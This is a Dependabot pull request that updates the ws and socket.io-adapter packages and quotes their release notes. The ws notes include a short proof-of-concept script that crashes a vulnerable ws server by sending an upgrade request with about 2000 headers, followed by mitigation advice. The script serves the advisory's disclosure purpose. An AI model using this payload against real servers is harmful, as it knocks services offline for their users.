Bump ws and socket.io-adapter #66

Closed dependabot[bot] closed 2 weeks ago

dependabot[bot] commented 2 weeks ago

Bumps ws and socket.io-adapter. These dependencies needed to be updated together. Updates ws from 8.11.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

Updates socket.io-adapter from 2.5.2 to 2.5.5

Release notes

Sourced from socket.io-adapter's releases.

2.5.4

Bug Fixes

  • ensure the order of the commands (a13f35f)
  • types: ensure compatibility with TypeScript < 4.5 (ca397f3)

Links

2.5.3

Two abstract classes were imported from the Redis adapter repository:

  • the ClusterAdapter class, which manages the messages sent between the server instances of the cluster
  • the ClusterAdapterWithHeartbeat class, which extends the ClusterAdapter and adds a heartbeat mechanism in order to check the healthiness of the other instances

Other adapters can then just extend those classes and only have to implement the pub/sub mechanism (and not the internal chit-chat protocol):

class MyAdapter extends ClusterAdapterWithHeartbeat {
  constructor(nsp, pubSub, opts) {
    super(nsp, opts);
    this.pubSub = pubSub;
    pubSub.subscribe("main-channel", (message) => this.onMessage(message));
    pubSub.subscribe("specific-channel#" + this.uid, (response) => this.onResponse(response));
  }

doPublish(message) {

return this.pubSub.publish("main-channel", message);

}


doPublishResponse(requesterUid, response) {

return this.pubSub.publish("specific-channel#" + requesterUid, response);

}

}

Besides, the number of "timeout reached: only x responses received out of y" errors (which can happen when a server instance leaves the cluster) should be greatly reduced by this commit.

Bug Fixes

  • cluster: fix count in fetchSockets() method (80af4e9)
  • cluster: notify the other nodes when closing (0e23ff0)

Performance Improvements

  • cluster: use timer.refresh() (d99a71b)
